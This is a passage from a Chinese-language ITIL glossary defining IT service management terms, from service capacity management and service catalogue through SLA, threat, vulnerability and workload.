（服务设计）（持续服务改进）负责了解 IT 服务的性能和容量的活动。收集、记录并分析每项 IT 服务使用的资源和一定时间过程内的使用方式，以便用于容量计划。
参见业务容量管理，组件能力管理。
服务目录
（服务设计）一个数据库或有组织的文档，包含关于所有实时 IT 服务的信息，包括就绪可部署的服务。服务目录是服务组合中唯一向客户发布的部分，用于支持 IT 服务的销售和交付。服务目录包括关于交付物、价格、联系点、订购和申请流程等信息。
参见合同组合。
服务连续性管理
IT 服务连续性管理的同义词。
服务合同
（服务战略）提供一项或多项 IT 服务的合同。服务合同一词还用于表示提供 IT 服务的任何协议，无论是法律合同还是服务级别协议。
参见合同组合。
服务文化
面向客户的文化。服务文化的主要目标是客户满意度和帮助客户达到他们的业务目标。
服务设计
（服务设计）IT 服务生命周期中的一个阶段。服务设计包括一些流程和功能，是核心 ITIL 出版物之一的名称。
参见设计。
服务设计包
（服务设计）一系列文档，其中定义了 IT 服务的所有方面以及在生命周期每个阶段的需求。对于每项新的 IT 服务、重大变更或 IT 服务停用都要生成服务设计包。
服务台
（服务运营）服务提供商与用户间的单一联系点。典型的服务台负责管理故障和服务请求，还负责与用户的沟通。
服务故障分析 (SFA)
（服务设计）识别一次或多次 IT 服务中断的根本原因的活动。SFA 识别改进 IT 服务提供商的流程和工具的机会，不仅是IT 基础架构。SFA 是受时间限制、类似于项目的活动，而不是日常进行的分析过程。参见根本原因分析。
服务时间
（服务设计）（持续服务改进）约定的应该提供特定 IT 服务的时间。例如，“周一到周五的 08:00 到 17:00（公共假期除外）”。服务时间应该在服务级别协议中定义。
服务改进计划 (SIP)
（持续服务改进）对流程或 IT 服务实施改进的正式计划。
服务知识管理系统 (SKMS)
（服务转换）一套用于管理知识和信息的工具和数据库。SKMS 包括配置管理系统，还有其它工具和数据库。SKMS 存储、管理、更新和提供 IT 服务提供商需要的所有信息，以便他们管理 IT 服务的整个生命周期。
服务级别
对一项或多项服务级别目标测量和报告的达标情况。在非正式场合，服务级别一词有时用于表示服务级别目标。
服务级别协议 (SLA)
（服务设计）（持续服务改进）IT 服务提供商与客户间的协议。SLA 描述了 IT 服务、记录了服务级别目标并详细说明了 IT 服务提供商和客户的责任。一份 SLA 可以包括多项 IT 服务或多个客户。
参见运营级别协议。
服务级别管理 (SLM)
（服务设计）（持续服务改进）负责协商服务级别协议和确保遵守这些协议的流程。SLM 负责确保所有 IT 服务管理流程、运营级别协议和支持合同适合约定的服务级别目标。SLM 监督和报告服务级别，并主持定期的客户回顾。
服务级别包 (SLP)
（服务战略）为特定服务包定义的使用和功效级别。每个 SLP 可以满足特定业务活动模式的需要。
参见服务线。
服务级别需求(SLR)
（服务设计）（持续服务改进）客户对 IT 服务某一方面的需求。SLR 基于业务目标，用于协商约定的服务级别目标。
服务级别目标
（服务设计）（持续服务改进）服务级别协议中记录的承诺。服务级别目标基于服务级别需求，目的是确保 IT 服务的设计符合目的。服务级别目标应该是 SMART，通常基于 KPI。
服务维护目标
（服务运营）由于计划内维护活动造成配置项不可用的预计时间。
服务管理
服务管理是一套专门的组织能力，以服务的形式为客户提供价值。
服务管理生命周期
一种 IT 服务管理的方法，强调管理 IT 服务整个生命周期所需的各种功能、流程和系统之间协调和控制的重要性。服务管理生命周期的方法考虑 IT 服务的战略、设计、转变、运营和持续改进。
服务经理
负责管理一项和多项 IT 服务的端到端的整个生命周期的管理者。服务经理一词还用于表示 IT 服务提供商内部的任何经理。最常用于指代业务关系经理、流程经理、客户经理或负责总体 IT 服务的高级经理。
服务运营
（服务运营）IT 服务生命周期中的一个阶段。服务运营包括一些的流程和功能，是核心 ITIL 出版物之一的名称。
参见运营。
服务所有者
（持续服务改进）负责提供特定 IT 服务的角色。
服务包
（服务战略）对可提供给客户的 IT 服务的详细描述。服务包包括服务级别包、一项或多项核心服务和支持服务。
服务通道
（服务战略）数据库或结构化文档列出正在考虑或开发中的IT 服务，但客户还不能使用这些 IT 服务。服务通道提供未来可能 IT 服务的业务观点，属于服务组合的一部分（通常不对客户公布）。
服务组合
（服务战略）服务提供商所管理的服务全集。服务组合用于管理所有服务的整个生命周期，包括三个类别：服务通道（提议或开发中）；服务目录（实时或可以部署的）；以及停用的服务。
参见服务组合管理，合同组合。
服务组合管理 (SPM)
（服务战略）负责管理服务组合的流程。服务组合管理根据提供的业务价值管理考虑服务。
服务潜能
（服务战略）IT 服务提供商的全部能力和资源具有的所有可能的价值。
服务提供商
（服务战略）向一个或多个内部客户或外部客户提供服务的组织。服务提供商经常用作 IT 服务提供商的缩写。
参见一类服务提供商，二类服务提供商，三类服务提供商。
服务提供商接口 (SPI)
（服务战略）IT 服务提供商与用户、客户、业务流程或供应商间的接口。分析服务提供商接口有助于协调 IT 服务的端到端管理。
服务供应优化 (SPO)
（服务战略）分析 IT 服务的财务和限制以决定是否改变提供服务的方法，以便降低成本或提高质量。
服务报告
（持续服务改进）负责根据服务级别生成和提供达标情况和趋势报告的流程。服务报告应该与客户就报告的格式、内容和提交频率达成一致。
服务请求
（服务运营）用户对信息、建议、标准变更或IT 服务访问的请求。例如重置密码、为新用户提供标准的 IT 服务。服务请求通常由服务台处理，不需要提交 RFC。
参见请求的履行。
服务采购
（服务战略）决定是否由内部提供服务或将其外包给外部服务提供商的战略和方法。
服务采购还表示该战略的执行。服务采购包括：
• 内部采购 — 使用一类或二类服务提供商的内部或共享服务。
• 传统采购 — 使用三类服务提供商的全部服务外包。
• 多厂商采购 — 使用三类服务提供商的主要、联合或选择性外包。
服务战略
（服务战略）核心 ITIL 出版物之一的名称。服务战略为 IT 服务和 IT 服务管理确定了总体的战略。
服务转换
（服务转换）IT 服务生命周期中的一个阶段。服务转换包括大量的流程和功能，并且是核心 ITIL 出版物中之一的名称。
参见转换。
服务功用
（服务战略）从客户的角度看 IT 服务的功能。IT 服务的业务价值是由服务功用（服务做什么）与服务功效（做的如何）共同创造。
参见功用。
服务检验和测试
（服务转换）负责检验和测试新的或变更 IT 服务的流程。服务检验和测试确保 IT 服务符合其设计规范，并满足业务的需要。
服务评价
（服务战略）对提供 IT 服务的总成本以及该 IT 服务给业务带来的总价值的测量。服务评价用于帮助业务和 IT 服务提供商就 IT 服务的价值达成一致。
服务功效
（服务战略）对 IT 服务会满足约定需求的保证。这可以是正式的协议（例如服务级别协议或合同），也可以是营销宣传或品牌形象。IT 服务的业务价值是由服务功用（服务做什么）与服务功效（做得如何）共同创造。
参见功效。
可服务性
（服务设计）（持续服务改进）第三方供应商满足合同条款的能力。该合同将包括为配置项约定的可靠性、可维护性或可用性级别。
轮班
（服务运营）一组或一队在固定时间执行特定角色的人员。例如，为了支持每天 24 小时使用的 IT 服务，可以将 IT 运营控制人员分为四班轮换。
仿真建模
（服务设计）（持续服务改进）一种建立详细的模型以预测配置项或 IT 服务的行为的方法。仿真模型可以非常精确，但建立起来比较昂贵和耗时。仿真模型通常使用正在建模（有人为工作负载或交易）的实际配置项建立。当精确的结果很重要时，它们用于容量管理。仿真模型有时称为性能标杆。
单一联系点
（服务运营）提供与组织或业务部门联络的统一方式。例如，与 IT 服务提供商的单一联系点通常称为服务台。
单点故障 (SPOF)
（服务设计）在故障时可能导致故障，并且还没有为此实施对策的任何配置项。SPOF 可以是流程或活动中的个人、步骤，或者是 IT 基础架构的组件。
参见故障。
SLAM 图
（持续服务改进）一种服务级别协议监视图，用于帮助按照服务级别目标监视和报告成绩。SLAM 图通常用颜色表示在以前的 12 个月内是否达到或几乎没有达到每个约定的服务级别目标。
SMART
（服务设计）（持续服务改进）是个缩写词，有助于记得服务级别协议和项目计划的目标应该“具体，可测，可行，相关和准时”。
快照
（服务转换）发现工具抓拍的配置的当前状态。
还用作标杆的同义词。
参见基准。
来源
参见服务采购。
规范
需求的正式定义。规范可用于定义技术或运行需求，可以是内部或外部的。许多公共标准由行为准则和规范组成。规范根据可以审核的组织定义标准。
利害干系人
与组织、项目、IT 服务等存在利益的所有人员。利害干系人可能对活动、目标、资源或交付物感兴趣。利害干系人可以包括客户、合作伙伴、雇员、持股者、所有者等。参见 RACI。
标准
一种强制的要求。例子包括 ISO/IEC 20000（国际标准），Unix 配置的内部安全标准或应该如何维护财务记录的政府标准。 标准一词还用于指标准组织（例如 ISO 或 BSI）发布的行为准则或规范。
参见指南。
标准变更
（服务转换）预先批准的变更，它的风险低、相对常见并遵守程序或工作指令。例如，密码重置或为新雇员提供标准设备。RFC 不是实施标准变更所必需的，它们使用不同的机制进行记录和跟踪，例如服务请求。
参见变更模型。
标准操作程序 (SOP)
（服务运营）IT 运营管理采用的程序。
备用
（服务设计）用于指代提供实时 IT 服务不需要，但可用于支持 IT 服务连续性计划的资源。例如，可以维持一个备用数据中心，以支持热备用、暖备用或冷备用的安排。
需求声明 (SOR)
（服务设计）一种文档，其中包含对产品采购、新的或变更 IT 服务的所有需求。
参见参考条款。
状态
许多类型的记录中必填字段的名称。它显示了相关配置项、故障、问题等在生命周期中的当前阶段。
状态统计
（服务转换）负责记录和报告每个配置项的生命周期的活动。
存储管理
（服务运营）负责管理数据在整个生命周期的存储和维护的流程。
战略性
（服务战略）规划和交付三级中（战略性、战术性、运行）最高的级别。战略性活动包括目标设定和长期规划，以实现总体的愿景目标。
战略
（服务战略）用于实现预定目标的战略计划。
超级用户
（服务运营）帮助其他用户与服务台或 IT 服务提供商的其它部门联络的用户。超级用户一般为非重大故障和培训提供支持。
供应商
（服务战略）（服务设计）负责提供交付 IT 服务所需的商品或服务的第三方。供应商的例子包括商用软硬件厂商、网络和通信供应商和外包组织。
参见支撑合同，供应链。
供应商与合同数据库 (SCD)
（服务设计）用于管理供应商合同整个生命周期的数据库或结构化文档。SCD 包含与供应商签订的所有合同的关键属性，应该属于服务知识管理系统的一部分。
供应商管理
（服务设计）负责确保与供应商签订的所有合同支持业务的需要，并且所有供应商达到合同承诺的流程。
供应链
（服务战略）由供应商执行的价值链中的活动。供应链通常会涉及多个供应商，每个都为产品或服务增值。
参见价值网。
支持组
（服务运营）一组有专业技能的人员。支持组为所有 IT 服务管理流程提供需要的技术支持。
参见技术管理。
支持时间
（服务设计）（服务运营）可为用户提供支持的时间或时数。通常这是服务台的工作时间。支持时数应该在服务级别协议中定义，可能与服务时间不同。例如，服务时间可以是每天 24 小时，但支持时数可能是 07:00 到 19:00。
支持服务
（服务战略）推动或增强核心服务的服务。例如目录服务或备份服务。
参见服务包。
SWOT 分析
（持续服务改进）一种审查和分析组织的内部优势和劣势，以及其面临的外部机会和威胁的方法。SWOT 代表优势，劣势，机会和威胁。
系统
许多相关的事物，它们共同实现总体的目标。例如：
• 计算机系统包括软硬件和应用程序。
• 管理系统包括多个一起计划和管理的流程。例如质量管理系统。
• 数据库管理系统或操作系统包括许多软件模块，它们可以执行一系列的相关功能。
系统管理
IT 服务管理的一部分，关注 IT 基础架构而不是流程的管理。
战术性
规划和交付三级中（战略性、战术性、运行）中间级别。战术活动包括实现特定目标所需的中期计划，一般是数周或数月。
标识
（服务战略）用于识别类别的简短代码。例如，在分析比较战略时，可以用标识 EC1、EC2、EC3 等标明不同的客户结果。标识一词还用于指分配标签的活动。
技术管理
（服务运营）负责提供专业技能，以支持 IT 服务和 IT 基础架构管理的功能。技术管理定义了支持组的角色，以及所需的工具、流程和程序。
技术观察 (TO)
（持续服务改进）用于服务改进、问题研究和可用性管理的方法。技术支持人员共同监视 IT 服务的行为和性能，然后提出改进的建议。
技术服务
基础设施服务的同义词。
技术支持
技术管理的同义词。
平衡指标
（持续服务改进）一套相关的指标，对其中一项指标的改进对另一个有不利的影响。平衡指标可以确保达到适当的平衡。
参考条款 (TOR)
（服务设计）一种文档，其中详细说明了需求、范围、交付物、资源和项目或活动的时间表。
测试
（服务转换）检验配置项、IT 服务、流程等是否达到规范或约定要求的活动。
参见服务检验和测试，验收。
测试环境
（服务转换）一个用于测试配置项、构建、IT 服务、流程等的可控环境。
第三方
不属于针对 IT 服务的服务级别协议的一方，但又是确保成功交付该 IT 服务所必需的个人、团体或组织。例如软件供应商、硬件维护公司或设施部门。对第三方的要求一般在支撑合同或运营级别协议中规定。
三线支持
（服务运营）在参与故障的解决和问题研究的支持组等级中的第三级。每级包含更多的专业技能，或者有更多的时间或其它资源。
威胁
任何可能利用脆弱性的事物。故障的任何潜在原因可以认为是威胁。例如，火灾是可以利用易燃地板材料脆弱性的威胁。该术语常用于信息安全管理和 IT 服务连续性管理，还适用于其它领域，例如问题和可用性管理。
阈值
可以引发告警或采取管理行动的指标值。例如“4 小时内未解决的优先级为 1 的故障”、“1 小时内出现 5 次磁盘错误”或者“一个月内超过 10 次失败的变更”。
吞吐量
（服务设计）对在固定时间内执行的交易或其它运营数量的测量。例如，每小时发送 5000 封电子邮件，或者每秒 200 次磁盘输入输出操作。
总体拥有成本 (TCO)
（服务战略）一种用于帮助制定投资决策的方法。TCO 评估拥有配置项的全部生命周期成本，不仅是最初的成本或采购价格。
参见总体使用成本。
总体使用成本 (TCU)
（服务战略）一种用于帮助制定投资和服务采购决策的方法。TCU 评估客户使用 IT 服务的全部生命周期成本。
参见总体拥有成本。
全面质量管理 (TQM)
（持续服务改进）一种利用质量管理系统，管理连续改进的方法。TQM 建立了一种文化，就是组织内的所有人员都参与连续监督和改进的流程。
交易
IT 服务执行的不连续功能。例如将钱从银行的一个账户转到另一个账户。一笔交易可以包含对数据的许多增删和修改。所有这些操作或者成功完成，或者都不执行。
转变
（服务转换）状态的改变，相当于将 IT 服务或其它配置项从一个生命周期状态转到另一个状态。
转换规划与支持
（服务转换）负责规划所有服务转换流程和协调它们所需资源的流程。这些服务转换流程是变更管理、服务资产和配置管理、发布和部署管理、服务检验和测试、评价和知识管理。
趋势分析
（持续服务改进）分析数据以确定与时间有关的方式。趋势分析用于问题管理，以确定常见的故障或脆弱的配置项，在容量管理中用作建模工具来预测未来的行为。它还用作管理工具确定 IT 服务管理流程中的缺陷。
调整
负责规划变更，以便于最有效地利用资源的活动。调整是性能管理的一部分，还包括所需变更的性能监视和实施。
一类服务提供商
（服务战略）纳入业务部门的内部服务供应商。一个组织内可以有多个一类服务提供商。
二类服务提供商
（服务战略）为多个业务部门提供共享 IT 服务的内部服务提供商。
三类服务提供商
（服务战略）为外部客户提供 IT 服务的服务提供商。
支撑合同 (UC)
（服务设计）IT 服务提供商与第三方之间的合同。第三方为客户提供支持 IT 服务交付的商品或服务。支撑合同定义了达到 SLA 中约定的服务级别目标所需的目标和责任。
单位成本
（服务战略）IT 服务提供商提供一个部分的 IT 服务付出的成本。例如一套台式机或一笔交易的成本。
紧急度
（服务转换）（服务设计）测量故障、问题或变更多久会对业务产生重大的影响。例如，如果故障到财年底才会影响业务，则影响大的故障可能紧急程度较低。指定优先级时要考虑到影响度和紧急度。
易用性
（服务设计）应用、产品或 IT 服务能否轻松使用。易用性要求经常包含在需求说明中。
使用实例
（服务设计）一种用于定义所需功能和目标，以及设计测试的方法。使用实例定义了现实的情景，描述了用户与 IT 服务或其它系统间的相互作用。
参见变更案例。
用户
日常使用 IT 服务的人。用户与客户是不同的，因为某些客户不直接使用 IT 服务。
用户资料 (UP)
（服务战略）用户对 IT 服务的一种需求方式。每个用户资料包括一个或多个业务活动图形。
功用
（服务战略）产品或服务为满足特定需要而提供的功能。功用经常被概括为“做什么”。
参见服务功用。
验证
（服务转换）确保新的或变更的 IT 服务、流程、计划或其它交付物满足业务需要的活动。验证过程可以确保即使业务需求自原始设计后可能已经改变也得到满足。参见验证，验收，资格鉴定，服务检验和测试。
价值链
（服务战略）能够创造对客户有价值的产品或服务的一系列流程。系列的每个步骤都依赖以前的步骤，并为总体产品或服务做出贡献。参见价值网。
物有所值
成本效益的非正式测量方法。物有所值经常需要与可选方案的成本比较。参见成本效益分析。
价值网
（服务战略）两个或多个团队或组织间复杂的一系列关系。价值是通过交换知识、信息、商品或服务而产生的。参见价值链，合作伙伴关系。
投资价值 (VOI)
（持续服务改进）对投资预期收益的测量。VOI 考虑财务和无形的收益。参见投资回报率。
可变成本
（服务战略）一种成本，它依靠 IT 服务的使用量，产品的产量、用户的数量和类型或某些无法预先确定的因素。参见可变成本的动态。
可变成本的动态分析
（服务战略）一种方法，用于了解许多复杂的可变因素（提供 IT 服务所需）如何影响总成本。
差异
计划价值与实测价值间的差异。常用于财务管理、容量管理和服务级别管理，但能够应用于有计划的任何领域。
验证
（服务转换）确保新的或变更的 IT 服务、流程、计划或其它交付物完全、准确、可靠和符合设计规范的活动。参见检验，验收，服务检验和测试。
验证和审核
（服务转换）负责确保 CMDB 中的信息准确，并且已经确定了所有配置项并记入 CMDB 的活动。验证包括属于其它流程的例行检查。例如，当用户登记故障时核实台式机的序列号。审核是定期的正式检查。
版本
（服务转换）版本用于确定配置项的特定基准。版本通常使用的命名惯例能够使用户了解每个基准的次序或日期。例如，工资应用 Version 3 包含由 Version 2 更新的功能。
愿景
对组织未来预期的描述。愿景是由高级管理层创造的，用于帮助影响文化和战略规划。
关键业务功能 (VBF)
（服务设计）对业务成功非常关键的业务流程功能。关键业务功能是业务连续性管理、IT 服务连续性管理和可用性管理的重要考虑因素。
脆弱性
可能被威胁所利用的弱点。例如，打开的防火墙端口，从不修改的密码或易燃的地毯。失去控制也被视为弱点。
暖备用
中级恢复的同义词。
功效
（服务战略）对产品或服务会满足约定要求的承诺或保证。参见服务检验和测试，服务功效。
进行中 (WIP)
一种状态，表示活动已经开始，但尚未完成。常用作故障、问题、变更等的状态。
工作指令
一个文档，其中包含完成活动所需步骤的详细说明。工作指令相比程序更加详细，只在需要非常详细的指令时才创建。
规避措施
（服务运营）在还没有完全的解决方法时，减少或消除故障或问题的影响。例如重新启动发生故障的配置项。问题的规避措施记录在已知错误记录中。没有相关问题记录的故障规避措施记录在故障记录中。
工作负载
提供可确认 IT 服务所需的资源。工作负载可以按用户、用户组或 IT 服务内的功能分类。它用于帮助分析和管理配置项和 IT 服务的容量、性能和使用。工作负载一词有时用作吞吐量的同义词。
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